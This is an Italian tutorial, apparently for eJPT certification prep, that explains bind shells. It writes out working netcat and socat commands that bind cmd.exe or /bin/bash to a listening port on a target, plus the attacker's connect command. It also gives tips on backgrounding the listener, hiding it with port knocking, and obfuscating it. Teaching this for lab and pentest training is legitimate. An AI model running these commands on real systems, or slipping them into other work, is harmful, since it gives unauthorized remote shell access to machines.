Tutorials

Bind Shells

Guida Approfondita: Bind Shells - eJPT Prep ---

#exploitation

Guida Approfondita: Bind Shells - eJPT Prep


Cos'è una Bind Shell

Una bind shell è una tecnica che prevede l'apertura di una porta sulla macchina target (vittima) in ascolto su una shell, alla quale l'attaccante può connettersi da remoto. In pratica, la shell viene "bindata" (legata) a una porta specifica del sistema bersaglio, diventando così accessibile dall'esterno tramite connessione diretta.

Flusso logico:

1. La macchina vittima avvia un listener su una porta. 2. L'attaccante si connette alla porta esposta. 3. Viene stabilita una shell remota tra attaccante e vittima.


Svantaggi delle Bind Shell

  • Le connessioni in ingresso sono spesso bloccate da firewall o sistemi di prevenzione delle intrusioni (IPS/IDS).
  • Le porte non standard possono insospettire un SOC o un SIEM ben configurato.
  • Molto meno efficaci rispetto a una reverse shell in ambienti con NAT o firewall restrittivi.

Esempi Pratici

#### Windows

Avviare il listener sulla macchina vittima:

bash
nc.exe -lvnp 4444 -e cmd.exe

#### Linux

Avviare il listener sulla macchina vittima:

bash
nc -lvnp 4444 -e /bin/bash
In alternativa, alcune versioni richiedono -c al posto di -e.

#### Connessione dalla macchina attaccante

bash
nc -nv <IP_VITTIMA> 4444

Tecniche Avanzate & Bypass

  • Port Knocking: utilizzare un sistema di knocking per aprire dinamicamente una porta di bind shell.
  • Esecuzione in background: su Linux, per non bloccare la shell corrente:
bash
nohup nc -lvnp 4444 -e /bin/bash &
  • Uso di socat come alternativa:
bash
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

Considerazioni sulla Sicurezza

  • Una bind shell espone una porta in ascolto: il rischio è che altri utenti possano accedervi se non si limita l'accesso per IP.
  • L'esposizione della shell non è cifrata, quindi il traffico è visibile in chiaro.

Best Practice per i Pentester

  • Preferire le reverse shell in ambienti reali.
  • Usare bind shell solo in lab o CTF, dove le limitazioni di rete non sono presenti.
  • Applicare sempre tecniche di offuscamento se necessario (es. utilizzare PowerShell o payloads personalizzati).

Strumenti Utili

  • nc (Netcat): classico e semplice, ma non sempre affidabile sulle nuove versioni di sistemi operativi.
  • ncat (incluso in Nmap): versione più sicura e moderna con supporto SSL/TLS.
  • socat: più avanzato, supporta tunnel cifrati e redirect complessi.

Riepilogo Comandi

SistemaComando Bind Shell
Windowsnc.exe -lvnp 4444 -e cmd.exe
Linuxnc -lvnp 4444 -e /bin/bash oppure nc -lvnp 4444 -c /bin/bash
Attaccantenc -nv 4444

Ulteriori Letture


Nota: L'efficacia di una bind shell dipende fortemente dal contesto. In ambienti reali, vengono solitamente bloccate da firewall e IPS. Per questo motivo, il pentester deve sempre valutare il contesto di rete prima di scegliere il tipo di accesso remoto da stabilire.